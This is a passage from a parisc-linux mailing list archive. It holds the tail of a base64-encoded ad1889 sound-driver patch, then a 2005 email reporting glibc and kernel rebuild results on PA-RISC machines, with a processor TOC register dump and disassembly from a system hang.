Ci0JCWFkMTg4OV93cml0ZWwoY2hpcCwgQURfRE1BX0FEQ0JBLCAweDApOw0K
LQkJYWQxODg5X3dyaXRlbChjaGlwLCBBRF9ETUFfQURDQ0EsIDB4MCk7DQor
CQlhZDE4ODlfbG9hZF9hZGNfYnVmZmVyX2FkZHJlc3MoY2hpcCwgMHgwKTsN
CisJCWFkMTg4OV9sb2FkX2FkY19idWZmZXJfY291bnQoY2hpcCwgMHgwKTsN
CisJCWFkMTg4OV9sb2FkX2FkY19pbnRlcnJ1cHRfY291bnQoY2hpcCwgMHgw
KTsNCiANCiAJCS8qIGZsdXNoICovDQogCQlhZDE4ODlfcmVhZHcoY2hpcCwg
QURfRE1BX0FEQyk7DQpAQCAtMjkwLDExICszMDMsMTEgQEAgc3RhdGljIHNu
ZF9wY21faGFyZHdhcmVfdCBzbmRfYWQxODg5X3BsYQ0KIAkucmF0ZV9tYXgg
PSA0ODAwMCwNCiAJLmNoYW5uZWxzX21pbiA9IDEsDQogCS5jaGFubmVsc19t
YXggPSAyLA0KLQkuYnVmZmVyX2J5dGVzX21heCA9IERNQV9TSVpFLAkvKiBt
YXggRE1BIGJ1ZmZlciBzaXplIGluIGJ5dGVzICovDQotCS5wZXJpb2RfYnl0
ZXNfbWluID0gQlVGX1NJWkUsCS8qIG1pbiBzaXplIG9mIHBlcmlvZCBpbiBi
eXRlcyAqLw0KLQkucGVyaW9kX2J5dGVzX21heCA9IERNQV9TSVpFLAkvKiBt
YXggc2l6ZSBvZiBwZXJpb2QgaW4gYnl0ZXMgKi8NCi0JLnBlcmlvZHNfbWlu
ID0gMSwJCS8qIG1pbiBuYiBvZiBwZXJpb2RzIGluIGJ1ZmZlciAqLw0KLQku
cGVyaW9kc19tYXggPSBNQVhfQlVGUywNCisJLmJ1ZmZlcl9ieXRlc19tYXgg
PSBCVUZGRVJfQllURVNfTUFYLA0KKwkucGVyaW9kX2J5dGVzX21pbiA9IFBF
UklPRF9CWVRFU19NSU4sDQorCS5wZXJpb2RfYnl0ZXNfbWF4ID0gUEVSSU9E
X0JZVEVTX01BWCwNCisJLnBlcmlvZHNfbWluID0gUEVSSU9EU19NSU4sDQor
CS5wZXJpb2RzX21heCA9IFBFUklPRFNfTUFYLA0KIAkvKi5maWZvX3NpemUg
PSAwLCovDQogfTsNCiANCkBAIC0zMDcsMTEgKzMyMCwxMSBAQCBzdGF0aWMg
c25kX3BjbV9oYXJkd2FyZV90IHNuZF9hZDE4ODlfY2FwDQogCS5yYXRlX21h
eCA9IDQ4MDAwLA0KIAkuY2hhbm5lbHNfbWluID0gMSwNCiAJLmNoYW5uZWxz
X21heCA9IDIsDQotCS5idWZmZXJfYnl0ZXNfbWF4ID0gRE1BX1NJWkUsCS8q
IG1heCBETUEgYnVmZmVyIHNpemUgaW4gYnl0ZXMgKi8NCi0JLnBlcmlvZF9i
eXRlc19taW4gPSBCVUZfU0laRSwJLyogbWluIHNpemUgb2YgcGVyaW9kIGlu
IGJ5dGVzICovDQotCS5wZXJpb2RfYnl0ZXNfbWF4ID0gRE1BX1NJWkUsCS8q
IG1heCBzaXplIG9mIHBlcmlvZCBpbiBieXRlcyAqLw0KLQkucGVyaW9kc19t
aW4gPSAxLAkJLyogbWluIG5iIG9mIHBlcmlvZHMgaW4gYnVmZmVyICovDQot
CS5wZXJpb2RzX21heCA9IE1BWF9CVUZTLA0KKwkuYnVmZmVyX2J5dGVzX21h
eCA9IEJVRkZFUl9CWVRFU19NQVgsDQorCS5wZXJpb2RfYnl0ZXNfbWluID0g
UEVSSU9EX0JZVEVTX01JTiwNCisJLnBlcmlvZF9ieXRlc19tYXggPSBQRVJJ
T0RfQllURVNfTUFYLA0KKwkucGVyaW9kc19taW4gPSBQRVJJT0RTX01JTiwN
CisJLnBlcmlvZHNfbWF4ID0gUEVSSU9EU19NQVgsDQogCS8qLmZpZm9fc2l6
ZSA9IDAsKi8NCiB9Ow0KIA0KQEAgLTM4MSwyNCArMzk0LDE4IEBAIHNuZF9h
ZDE4ODlfcGxheWJhY2tfcHJlcGFyZShzbmRfcGNtX3N1YnMNCiAJc3Bpbl9s
b2NrX2lycSgmY2hpcC0+bG9jayk7DQogCQ0KIAljaGlwLT53YXZlLnNpemUg
PSBzaXplOw0KLQljaGlwLT53YXZlLmNvdW50ID0gY291bnQ7DQogCWNoaXAt
PndhdmUucmVnID0gcmVnOw0KLQljaGlwLT53YXZlLmJ1ZiA9IDA7DQotCWNo
aXAtPndhdmUucG9zID0gMDsNCi0JY2hpcC0+d2F2ZS5yYXRlID0gcnQtPnJh
dGU7DQogCWNoaXAtPndhdmUuYWRkciA9IHJ0LT5kbWFfYWRkcjsNCiANCiAJ
YWQxODg5X3dyaXRldyhjaGlwLCBBRF9EU19XU01DLCBjaGlwLT53YXZlLnJl
Zyk7DQogCQ0KIAkvKiBTZXQgc2FtcGxlIHJhdGVzIG9uIHRoZSBjb2RlYyAq
Lw0KLQlhZDE4ODlfd3JpdGV3KGNoaXAsIEFEX0RTX1dBUywgY2hpcC0+d2F2
ZS5yYXRlKTsNCisJYWQxODg5X3dyaXRldyhjaGlwLCBBRF9EU19XQVMsIHJ0
LT5yYXRlKTsNCiANCi0JLyogU2V0IHVwIERNQTogZmlyc3QgY2h1bmsgYWRk
cmVzcyBpbiBjdXJyIGFkZHIsIG5leHQgb25lIGluIGJhc2UgYWRkci4NCi0J
ICAgQmFzZSB3aWxsIGJlIGxvYWRlZCBpbnRvIGN1cnIgYnkgdGhlIGhhcmR3
YXJlIHVwb24gaW50ZXJydXB0DQotCSAgIChhcyB3ZSB1c2UgTE9PUCkuIENv
dW50IGhvbGRzIHRoZSBzaXplIG9mIHRoZSBjaHVuay4gKi8NCi0JYWQxODg5
X3dyaXRlbChjaGlwLCBBRF9ETUFfV0FWQ0EsIGNoaXAtPndhdmUuYWRkcik7
DQotCWFkMTg4OV93cml0ZWwoY2hpcCwgQURfRE1BX1dBVkJBLCBjaGlwLT53
YXZlLmFkZHIgKyAoY291bnQgJSBzaXplKSk7DQotCWFkMTg4OV9sb2FkX3dh
dmVfY291bnQoY2hpcCwgY2hpcC0+d2F2ZS5jb3VudCk7DQorCS8qIFNldCB1
cCBETUEgKi8NCisJYWQxODg5X2xvYWRfd2F2ZV9idWZmZXJfYWRkcmVzcyhj
aGlwLCBjaGlwLT53YXZlLmFkZHIpOw0KKwlhZDE4ODlfbG9hZF93YXZlX2J1
ZmZlcl9jb3VudChjaGlwLCBzaXplKTsNCisJYWQxODg5X2xvYWRfd2F2ZV9p
bnRlcnJ1cHRfY291bnQoY2hpcCwgY291bnQpOw0KIA0KIAkvKiB3cml0ZXMg
Zmx1c2ggKi8NCiAJYWQxODg5X3JlYWR3KGNoaXAsIEFEX0RTX1dTTUMpOw0K
QEAgLTQwNyw3ICs0MTQsNyBAQCBzbmRfYWQxODg5X3BsYXliYWNrX3ByZXBh
cmUoc25kX3BjbV9zdWJzDQogCQ0KIAlhZDE4ODlfZGVidWcoInByZXBhcmUg
cGxheWJhY2s6IGFkZHIgPSAweCV4LCBjb3VudCA9ICV1LCAiDQogCQkJInNp
emUgPSAldSwgcmVnID0gMHgleCwgcmF0ZSA9ICV1XG4iLCBjaGlwLT53YXZl
LmFkZHIsDQotCQkJY291bnQsIHNpemUsIHJlZywgY2hpcC0+d2F2ZS5yYXRl
KTsNCisJCQljb3VudCwgc2l6ZSwgcmVnLCBydC0+cmF0ZSk7DQogCXJldHVy
biAwOw0KIH0NCiANCkBAIC00MzcsMjEgKzQ0NCwxNSBAQCBzbmRfYWQxODg5
X2NhcHR1cmVfcHJlcGFyZShzbmRfcGNtX3N1YnN0DQogCXNwaW5fbG9ja19p
cnEoJmNoaXAtPmxvY2spOw0KIAkNCiAJY2hpcC0+cmFtYy5zaXplID0gc2l6
ZTsNCi0JY2hpcC0+cmFtYy5jb3VudCA9IGNvdW50Ow0KIAljaGlwLT5yYW1j
LnJlZyA9IHJlZzsNCi0JY2hpcC0+cmFtYy5idWYgPSAwOw0KLQljaGlwLT5y
YW1jLnBvcyA9IDA7DQotCWNoaXAtPnJhbWMucmF0ZSA9IHJ0LT5yYXRlOw0K
IAljaGlwLT5yYW1jLmFkZHIgPSBydC0+ZG1hX2FkZHI7DQogDQogCWFkMTg4
OV93cml0ZXcoY2hpcCwgQURfRFNfUkFNQywgY2hpcC0+cmFtYy5yZWcpOw0K
IA0KLQkvKiBTZXQgdXAgRE1BOiBmaXJzdCBjaHVuayBhZGRyZXNzIGluIGN1
cnIgYWRkciwgbmV4dCBvbmUgaW4gYmFzZSBhZGRyLg0KLQkgICBCYXNlIHdp
bGwgYmUgbG9hZGVkIGludG8gY3VyciBieSB0aGUgaGFyZHdhcmUgdXBvbiBp
bnRlcnJ1cHQNCi0JICAgKGFzIHdlIHVzZSBMT09QKS4gQ291bnQgaG9sZHMg
dGhlIHNpemUgb2YgdGhlIGNodW5rLiAqLw0KLQlhZDE4ODlfd3JpdGVsKGNo
aXAsIEFEX0RNQV9BRENDQSwgY2hpcC0+cmFtYy5hZGRyKTsNCi0JYWQxODg5
X3dyaXRlbChjaGlwLCBBRF9ETUFfQURDQkEsIGNoaXAtPnJhbWMuYWRkciAr
IChjb3VudCAlIHNpemUpKTsNCi0JYWQxODg5X2xvYWRfYWRjX2NvdW50KGNo
aXAsIGNoaXAtPnJhbWMuY291bnQpOw0KKwkvKiBTZXQgdXAgRE1BICovDQor
CWFkMTg4OV9sb2FkX2FkY19idWZmZXJfYWRkcmVzcyhjaGlwLCBjaGlwLT5y
YW1jLmFkZHIpOw0KKwlhZDE4ODlfbG9hZF9hZGNfYnVmZmVyX2NvdW50KGNo
aXAsIHNpemUpOw0KKwlhZDE4ODlfbG9hZF9hZGNfaW50ZXJydXB0X2NvdW50
KGNoaXAsIGNvdW50KTsNCiANCiAJLyogd3JpdGVzIGZsdXNoICovDQogCWFk
MTg4OV9yZWFkdyhjaGlwLCBBRF9EU19SQU1DKTsNCkBAIC00NjAsNyArNDYx
LDcgQEAgc25kX2FkMTg4OV9jYXB0dXJlX3ByZXBhcmUoc25kX3BjbV9zdWJz
dA0KIAkNCiAJYWQxODg5X2RlYnVnKCJwcmVwYXJlIGNhcHR1cmU6IGFkZHIg
PSAweCV4LCBjb3VudCA9ICV1LCAiDQogCQkJInNpemUgPSAldSwgcmVnID0g
MHgleCwgcmF0ZSA9ICV1XG4iLCBjaGlwLT5yYW1jLmFkZHIsDQotCQkJY291
bnQsIHNpemUsIHJlZywgY2hpcC0+cmFtYy5yYXRlKTsNCisJCQljb3VudCwg
c2l6ZSwgcmVnLCBydC0+cmF0ZSk7DQogCXJldHVybiAwOw0KIH0NCiANCkBA
IC02MDcsNyArNjA4LDYgQEAgc25kX2FkMTg4OV9pbnRlcnJ1cHQoaW50IGly
cSwgDQogCQkgICAgIHN0cnVjdCBwdF9yZWdzICpyZWdzKQ0KIHsNCiAJdW5z
aWduZWQgbG9uZyBzdDsNCi0JdW5zaWduZWQgbG9uZyBuZXh0Ow0KIAlzdHJ1
Y3Qgc25kX2FkMTg4OSAqY2hpcCA9IGRldl9pZDsNCiANCiAJc3QgPSBhZDE4
ODlfcmVhZGwoY2hpcCwgQURfRE1BX0RJU1IpOw0KQEAgLTYyMyw4MiArNjIz
LDEyIEBAIHNuZF9hZDE4ODlfaW50ZXJydXB0KGludCBpcnEsIA0KIAlpZiAo
c3QgJiAoQURfRE1BX0RJU1JfUE1BSXxBRF9ETUFfRElTUl9QVEFJKSkNCiAJ
CWFkMTg4OV9kZWJ1ZygiVW5leHBlY3RlZCBtYXN0ZXIgb3IgdGFyZ2V0IGFi
b3J0IGludGVycnVwdCFcbiIpOw0KIA0KLQlpZiAoY2hpcC0+cGNtICYmIChz
dCAmIEFEX0RNQV9ESVNSX1dBVkkpICYmIGNoaXAtPnBzdWJzKSB7DQotCQlz
cGluX2xvY2soJmNoaXAtPmxvY2spOw0KLQ0KLQkJY2hpcC0+c3RhdHMud2F2
X2ludHIrKzsNCi0NCi0JCWNoaXAtPndhdmUuYnVmKys7DQotDQotCQkvKiBj
YWxjdWxhdGUgdGhlIGN1cnJlbnQgcG9zaXRpb246IHdlIGdldCBpbnRlcnJ1
cHRzIGV2ZXJ5dGltZQ0KLQkJICAgdGhlIGJ1ZmZlciBlbXB0aWVzLCB0aHVz
IGV2ZXJ5IHdhdmUuY291bnQgYnl0ZXMgdHJhbnNmZXJlZCAqLw0KLQkJY2hp
cC0+d2F2ZS5wb3MgKz0gY2hpcC0+d2F2ZS5jb3VudDsNCi0JCWNoaXAtPndh
dmUucG9zICU9IGNoaXAtPndhdmUuc2l6ZTsNCi0NCi0JCS8qIHRoZSBuZXh0
IGJ1ZmZlciB3aWxsIHRodXMgYmUgY3VycmVudCBwb3NpdGlvbiArIHdhdmUu
Y291bnQNCi0JCSAgIGJ5dGVzIGF3YXkgKi8NCi0JCW5leHQgPSBjaGlwLT53
YXZlLnBvcyArIGNoaXAtPndhdmUuY291bnQ7DQotCQluZXh0ICU9IGNoaXAt
PndhdmUuc2l6ZTsNCi0JCQ0KLQkJLyogTG9hZCBuZXcgRE1BIHBhcmFtZXRl
cnMgKGFrYSAidGhlIG5leHQgY2h1bmsiIGluIEJhc2UNCi0JCSAgIHJlZ2lz
dGVyczogdXBvbiBuZXh0IGludGVycnVwdCwgdGhleSdsbCBiZSBhdXRvbWF0
aWNhbGx5DQotCQkgICBsb2FkZWQgaW4gdGhlIEN1cnJlbnQgcmVnaXN0ZXJz
LCBhbmQgd2UnbGwgZW5kIHVwIGhlcmUNCi0JCSAgIHByZXBhcmluZyB0aGUg
bmV3IG9uZXMuIFNpbmNlICJjb3VudCIgbmV2ZXIgZ2V0cyBtb2RpZmllZA0K
LQkJICAgZWxzZXdoZXJlIHRoYW4gaW4gX3ByZXBhcmUsIHdlIGRvbid0IG5l
ZWQgdG8gcmV3cml0ZSBpdC4gKi8NCi0JCWFkMTg4OV93cml0ZWwoY2hpcCwg
QURfRE1BX1dBVkJBLCBjaGlwLT53YXZlLmFkZHIgKyBuZXh0KTsNCi0JCQ0K
LQkJYWQxODg5X3JlYWRsKGNoaXAsIEFEX0RNQV9XQVZCQSk7IC8qIGZsdXNo
IGFsbCB0aG9zZSB3cml0ZXMgKi8NCi0NCi0JCXNwaW5fdW5sb2NrKCZjaGlw
LT5sb2NrKTsNCi0NCisJaWYgKChzdCAmIEFEX0RNQV9ESVNSX1dBVkkpICYm
IGNoaXAtPnBzdWJzKQ0KIAkJc25kX3BjbV9wZXJpb2RfZWxhcHNlZChjaGlw
LT5wc3Vicyk7DQotI2lmIDANCi0JCWFkMTg4OV9kZWJ1ZygiY2hpcC0+d2F2
ZS5wb3MgPSAlZCwgY2hpcC0+d2F2ZS5jb3VudCA9ICVkLCAiDQotCQkJCSJj
aGlwLT53YXZlLnNpemUgPSAlZFxuIiwgY2hpcC0+d2F2ZS5wb3MsDQotCQkJ
CWNoaXAtPndhdmUuY291bnQsIGNoaXAtPndhdmUuc2l6ZSk7DQotCQlhZDE4
ODlfZGVidWcoImNoaXAtPndhdmUuYWRkciAoMHglbHgpICsgbmV4dCAoMHgl
bHgpID0gMHglbHhcbiIsDQotCQkJCWNoaXAtPndhdmUuYWRkciwgbmV4dCwg
Y2hpcC0+d2F2ZS5hZGRyICsgbmV4dCk7DQotI2VuZGlmCQkNCi0JfQ0KLQ0K
LQlpZiAoY2hpcC0+cGNtICYmIChzdCAmIEFEX0RNQV9ESVNSX0FEQ0kpICYm
IGNoaXAtPmNzdWJzKSB7DQotCQlzcGluX2xvY2soJmNoaXAtPmxvY2spOw0K
LQkJDQotCQljaGlwLT5zdGF0cy5hZGNfaW50cisrOw0KLQ0KLQkJY2hpcC0+
cmFtYy5idWYrKzsNCi0JCQ0KLQkJLyogY2FsY3VsYXRlIHRoZSBjdXJyZW50
IHBvc2l0aW9uOiB3ZSBnZXQgaW50ZXJydXB0cyBldmVyeXRpbWUNCi0JCSAg
IHRoZSBidWZmZXIgZW1wdGllcywgdGh1cyBldmVyeSB3YXZlLmNvdW50IGJ5
dGVzIHRyYW5zZmVyZWQgKi8NCi0JCWNoaXAtPnJhbWMucG9zICs9IGNoaXAt
PnJhbWMuY291bnQ7DQotCQljaGlwLT5yYW1jLnBvcyAlPSBjaGlwLT5yYW1j
LnNpemU7DQotDQotCQkvKiB0aGUgbmV4dCBidWZmZXIgd2lsbCB0aHVzIGJl
IGN1cnJlbnQgcG9zaXRpb24gKyB3YXZlLmNvdW50DQotCQkgICBieXRlcyBh
d2F5ICovDQotCQluZXh0ID0gY2hpcC0+cmFtYy5wb3MgKyBjaGlwLT5yYW1j
LmNvdW50Ow0KLQkJbmV4dCAlPSBjaGlwLT5yYW1jLnNpemU7DQotDQotCQkv
KiBMb2FkIG5ldyBETUEgcGFyYW1ldGVycyAoYWthICJ0aGUgbmV4dCBjaHVu
ayIgaW4gQmFzZQ0KLQkJICAgcmVnaXN0ZXJzOiB1cG9uIG5leHQgaW50ZXJy
dXB0LCB0aGV5J2xsIGJlIGF1dG9tYXRpY2FsbHkNCi0JCSAgIGxvYWRlZCBp
biB0aGUgQ3VycmVudCByZWdpc3RlcnMsIGFuZCB3ZSdsbCBlbmQgdXAgaGVy
ZQ0KLQkJICAgcHJlcGFyaW5nIHRoZSBuZXcgb25lcy4gU2luY2UgImNvdW50
IiBuZXZlciBnZXRzIG1vZGlmaWVkDQotCQkgICBlbHNld2hlcmUgdGhhbiBp
biBfcHJlcGFyZSwgd2UgZG9uJ3QgbmVlZCB0byByZXdyaXRlIGl0LiAqLw0K
LQkJYWQxODg5X3dyaXRlbChjaGlwLCBBRF9ETUFfQURDQkEsIGNoaXAtPnJh
bWMuYWRkciArIG5leHQpOw0KLQkJDQotCQlhZDE4ODlfcmVhZGwoY2hpcCwg
QURfRE1BX0FEQ0JBKTsgLyogZmx1c2ggYWxsIHRob3NlIHdyaXRlcyAqLw0K
LQ0KLQkJc3Bpbl91bmxvY2soJmNoaXAtPmxvY2spOw0KLQkJDQorCWlmICgo
c3QgJiBBRF9ETUFfRElTUl9BRENJKSAmJiBjaGlwLT5jc3VicykNCiAJCXNu
ZF9wY21fcGVyaW9kX2VsYXBzZWQoY2hpcC0+Y3N1YnMpOw0KLSNpZiAwDQot
CQlhZDE4ODlfZGVidWcoImNoaXAtPnJhbWMucG9zID0gJWQsIGNoaXAtPnJh
bWMuY291bnQgPSAlZCwgIg0KLQkJCQkiY2hpcC0+cmFtYy5zaXplID0gJWRc
biIsIGNoaXAtPnJhbWMucG9zLA0KLQkJCQljaGlwLT5yYW1jLmNvdW50LCBj
aGlwLT5yYW1jLnNpemUpOw0KLQkJYWQxODg5X2RlYnVnKCJjaGlwLT5yYW1j
LmFkZHIgKDB4JWx4KSArIG5leHQgKDB4JWx4KSA9IDB4JWx4XG4iLA0KLQkJ
CQljaGlwLT5yYW1jLmFkZHIsIG5leHQsIGNoaXAtPnJhbWMuYWRkciArIG5l
eHQpOw0KLSNlbmRpZgkJDQotCX0NCiANCisJYWQxODg5X3JlYWRsKGNoaXAs
IEFEX0RNQV9ESVNSKTsgLyogZmx1c2ggKi8NCiAJLyogWFhYIHVuZGVyIHNv
bWUgY2lyY3Vtc3RhbmNlcyB0aGUgRElTUiB3cml0ZSBmbHVzaCBtYXkgbm90
IGhhcHBlbiAqLw0KIA0KIAlyZXR1cm4gSVJRX0hBTkRMRUQ7DQpAQCAtNzQx
LDcgKzY3MSw4IEBAIHNuZF9hZDE4ODlfcGNtX2luaXQoc3RydWN0IHNuZF9h
ZDE4ODkgKmMNCiANCiAJZXJyID0gc25kX3BjbV9saWJfcHJlYWxsb2NhdGVf
cGFnZXNfZm9yX2FsbChwY20sIFNORFJWX0RNQV9UWVBFX0RFViwNCiAJCQkJ
CQlzbmRfZG1hX3BjaV9kYXRhKGNoaXAtPnBjaSksDQotCQkJCQkJRE1BX1NJ
WkUsIERNQV9TSVpFKTsNCisJCQkJCQlCVUZGRVJfQllURVNfTUFYIC8gMiwN
CisJCQkJCQlCVUZGRVJfQllURVNfTUFYKTsNCiANCiAJaWYgKGVyciA8IDAp
IHsNCiAJCXNuZF9wcmludGsoS0VSTl9FUlIgUEZYICJidWZmZXIgYWxsb2Nh
dGlvbiBlcnJvcjogJWRcbiIsIGVycik7DQo=
--2015913978-851401618-1124379320=:17364
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--2015913978-851401618-1124379320=:17364--



From - Thu Nov 08 21:33:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Thu, 18 Aug 2005 18:01:43 +0200
Lines: 302
Approved: news@gmane.org
Message-ID: <ILFDUV$F78A20A99DD29674BBE529F42F203D92@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623906 16508 80.91.229.3 (22 Nov 2014 02:38:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:26 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Aug 2005 16:01:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 18 Aug 2005 18:01:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E63F7D6A9;
	Thu, 18 Aug 2005 10:01:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31049-05; Thu, 18 Aug 2005 10:01:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C2CD7D6B3;
	Thu, 18 Aug 2005 10:01:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B19567D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 10:01:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31049-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 10:01:46 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 9EACF7D699
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 10:01:45 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id j7IG1hi01378 
	for <parisc-linux@lists.parisc-linux.org>; 
	Thu, 18 Aug 2005 18:01:43 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: odV2YzYZeSEkWL6WZHQhaXN1IGRvb4Da
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23104

Hello all,

The good stuff first.

I rebuild glibc 2.3.5-3 with latest gcc-4.0-4.0.1-5 (as debian named? act=
ualy
4.0.2 20050816) and all seems to work fine: i.e. the dump of the
libpthread-0.10.so shows that the pb point out by Randoplh was well fixed=
 by
Dave's patch :-).

I so install it on a chroot disk to rebuild first the latest 2.6.13-rc6-p=
a2
cvs 20050817:
    no more segv :-).

I also install this kernel of this chroot disk and reboot it quiet nicely=
 my
b180 :-).

I run first Randolph test which end well now by a segv :-)

And finaly launch my stress test (do you remember the 2 loops) which stil=
l
runing (now for about 5h without pb ;^).)

The bad news now.

I also install the latest gcc-4.0-4.0.1-5 on my unstable b2k install to
rebuild the same 32bit kernel (2.6.13-rc6-pa2 cvs 20050817) but saving li=
bc6
2.3.2.ds1-22 (excepted this the 2 systems are debian unstable update at t=
he
same level this morning).
Well the system reboot fine but the same test as describe above make agai=
n the
system hang after only 45min of test ;_(

Anyway this time I could grab a piminfo with a TOC:
[I discard the HPMC because IIA Offset =3D 0x00000000000172b8 which is no=
t usable]
-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  00000000104eb810  00000000101319b4  000000001dd=
45890
04-07   00000000104ec17c  00000000104ebda4  000000000000000a  00000000104=
ebda4
08-11   00000000104ebdac  00000000103c6010  0000000000200200  00000000104=
90698
12-15   0000000000000000  00000000ffffffff  0000000000000000  00000000f04=
00004
16-19   0000000010484140  00000000f000017c  00000000f0000174  00000000104=
ec17c
20-23   000000000042884a  00000000006a884a  0000000000280000  00000000000=
00262
24-27   000000000000000a  000000001dd454d0  00000000104ebda4  00000000103=
bd010
28-31   000000001dd45110  0000000000280000  0000000010484500  00000000101=
2d958

<Press any key to continue (q to quit)>

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  00000000000=
00000
04-07   0000000000000000  0000000000000000  0000000000000000  00000000000=
00000
08-11   000000000000142e  0000000000000000  00000000000000c0  00000000000=
0003e
12-15   0000000000000000  0000000000000000  000000000010b000  00000000ff8=
00000
16-19   00000243adf4f356  0000000000000000  00000000101318f4  000000000f9=
91280
20-23   0000000010240037  0000000051545110  000000ff0004ff0e  00000000da0=
00000
24-27   0000000000479000  000000000d19a000  0000000000044021  00000000f04=
12000
28-31   0000000055555555  0000000055555555  0000000010484000  00000000104=
88000
Space Registers 0 - 7

00-03   00000000          00000a17          00000000          00000a17
04-07   00000000          00000000          00000000          00000000

IIA Space                    =3D 0x0000000000000000
IIA Offset                   =3D 0x00000000101318f8
CPU State                    =3D 0x9e000001


<Press any key to continue (q to quit)>

Memory Error Log Information:

Timestamp =3D
  Thu Aug  18 14:43:55 GMT 2005    (20:05:08:18:14:43:55)


'9000/785 B,C,J Workstation Memory Error Log', rev 0, 64 bytes:

   No memory errors logged


I/O Module Error Log Information:

Timestamp =3D
  Thu Aug  18 14:43:55 GMT 2005    (20:05:08:18:14:43:55)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    ----------   0x0e0cc249   ------------------
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    ----------   0x2e0cc009   ------------------
   3    ----------   0x3e0cc009   ------------------
   4    ----------   0x4e0cc009   ------------------
   5    ----------   0x5e0cc009   ------------------
   6    ----------   0x6e0cc009   ------------------
   7    ----------   0x7e0cc009   ------------------
=3D=3D=3D=3D<>=3D=3D=3D=3D

The analysis of this TOC give:
-----------------  Processor 0 TOC Information -------------------

GR of CPU[0]
00-03   0000000000000000  00000000104eb810  00000000101319b4  000000001dd=
45890
04-07   00000000104ec17c  00000000104ebda4  000000000000000a  00000000104=
ebda4
08-11   00000000104ebdac  00000000103c6010  0000000000200200  00000000104=
90698
12-15   0000000000000000  00000000ffffffff  0000000000000000  00000000f04=
00004
16-19   0000000010484140  00000000f000017c  00000000f0000174  00000000104=
ec17c
20-23   000000000042884a  00000000006a884a  0000000000280000  00000000000=
00262
24-27   000000000000000a  000000001dd454d0  00000000104ebda4  00000000103=
bd010
28-31   000000001dd45110  0000000000280000  0000000010484500  00000000101=
2d958

GR[02] =3D=3D rp =3D 00000000101319b4

Func: cascade, Off: 0x44, Addr: 0x101319b4

        ...
10131994:       80 83 20 40     cmpb,=3D r3,r4,101319bc <cascade+0x4c>

        ...
101319b0:       08 05 02 5a     copy r5,r26
101319b4:       88 83 3f cf     cmpb,<>,n r3,r4,101319a0 <cascade+0x30>
